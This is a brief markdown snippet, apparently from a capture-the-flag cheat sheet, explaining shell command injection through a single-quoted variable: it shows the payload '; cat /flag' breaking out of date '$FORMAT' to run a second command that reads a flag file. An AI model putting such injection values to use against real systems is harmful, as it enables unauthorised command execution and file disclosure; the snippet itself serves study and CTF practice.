# CMD injection

## Shell single quote

For

```sh
date '$FORMAT'
```

FORMAT

```
'; cat /flag'
```

Gives

```sh
date ''; cat /flag''
```